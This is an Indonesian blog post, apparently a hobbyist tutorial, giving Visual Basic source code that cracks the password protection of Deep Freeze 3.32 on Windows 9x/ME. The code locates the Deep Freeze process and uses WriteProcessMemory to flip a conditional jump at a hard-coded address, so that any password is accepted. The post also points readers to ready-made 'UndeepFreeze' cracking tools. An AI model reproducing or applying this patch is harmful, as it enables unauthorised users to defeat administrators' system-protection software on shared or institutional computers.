Mengganti Password Deep frenze

Sebelum mencoba program ini pastikan DeepFree di load oleh windows, source code ini akan berjalan dengan baik apabila versi dan OS yang digunakan sesuai dengan penelitian penulis. Dalam mencoba source ini penulis menngunakan:

DeepFreeze versi 3.32.000.0534 dengan OS yang digunakan WinME/WIN9x

Option Explicit

‘Beberapa Fungsi Api Yang Digunakan

Private Declare Function OpenProcess Lib “kernel32″ (Byval dwDesiredAccess As _

Long, Byval blnheritHandle As Long, Byval dwAppProcessId As _

Long) As Long

Private Declare Function ReadProcessMemory Lib “kernel32″ (Byval hProcess As _

Long, lpBaseAddress As Any, lpBuffer As Any, Byval nSize As _

Long, lpNumberOfBytesWritten As Long) As Long

Private Declare Function WriteProcessMemory Lib “kernel32″ (Byval hProcess As _

Long, lpBaseAddress As Any, lpBuffer As Any, Byval nSize As _

Long, lpNumberOfBytesWritten As Long) As Long

Private Declare Function FindWindowStr Lib “user32″ Alias “FindWindowA” _

(Byval lpClassName As Any, Byval lpWindowName As Any) As Long

Private Declare Function GetWindowThreadProcessId Lib “user32″ (Byval hwnd As _

Long, lpdwProcessId As Long) As Long

Private Sub Command1_Click()

Dim hwndDF As Long, PID As Long

‘Cari HWND dari program DeepFreeze

hwndDF = FindWindowStr(”TFormMain”, vbnullString) ‘ “Deep Freeze …..”

If hwndDF Then

‘Dapatkan PID berdasarkan dari HWND yang didapat

GetWindowThreadProcessId hwndDF, PID

If PID Then

Dim Data As Byte, ret As Long, hProcess As Long, lWritten As Long

‘Data &H85 disini yang nantinya digunakan untuk membalikan sebuah kondisi _

pemeriksaan password pada deepfreeze. _

nilai asli &H84 (JE) kita rubah ke &H85

Data = &H85

‘Membuka process berdasarkan PID yang didapat

hProcess = OpenProcess(&H1F0FFF, True, PID)

If hProcess Then

‘Kalo pembukan process berhasil maka selanjutnya kita merubah pada _

Alamat: &H417411 dengan data 85h _

Alamat ini (&H417411) didapat setelah penulis menDebug program _

deepfreeze dengan W32Deasm. Kemungkinan alamat tersebut bisa berubah.

ret = WriteProcessMemory(hProcess, Byval &H417411, Data, 1, lWritten)

If ret = 1 Then

MsgBox “Hacked”, 64

Else

MsgBox “Error!”, 16

End If

Else

MsgBox “Membuka Process Gagal”, 16

End If

Else

MsgBox “Gagal Mendapatkan PID DeepFreeze”, 16

End If

Else

MsgBox “DeepFreeze Tidak Ditemukan!”, 16

End If

End Sub

Kalo udah berhasil melakukan process diatas, silahkan anda tekan tombol Shift+Click pada icon DeepFreeze. dan masukan sembarang password.

Jika Source Tersebut berjalan dengan lancar, maka akan muncul form option dari DeepFreeze.

Semoga berhasil ya

maaf kalo ada yang belum bisa berjalan dengan mulus, maklum masih belajar

Terima kasih buat Team vbBeGo yang sudah mau mempublish artikelku.

Sumber:

Kalo mau nge UndeepFreeze Silahkan Kunjungi Situs ini.

usuarios.arnet.com.ar

atau download aja Program Jadinya :

1. UndeepFreeze For Windows 9x

2. UndeepFreeze For Windows2000/XP

Bagikan

Jangan lewatkan

Mengganti Password Deep frenze

4/ 5

Oleh Saktian

Saktian 11:48:00 AM 2 Komentar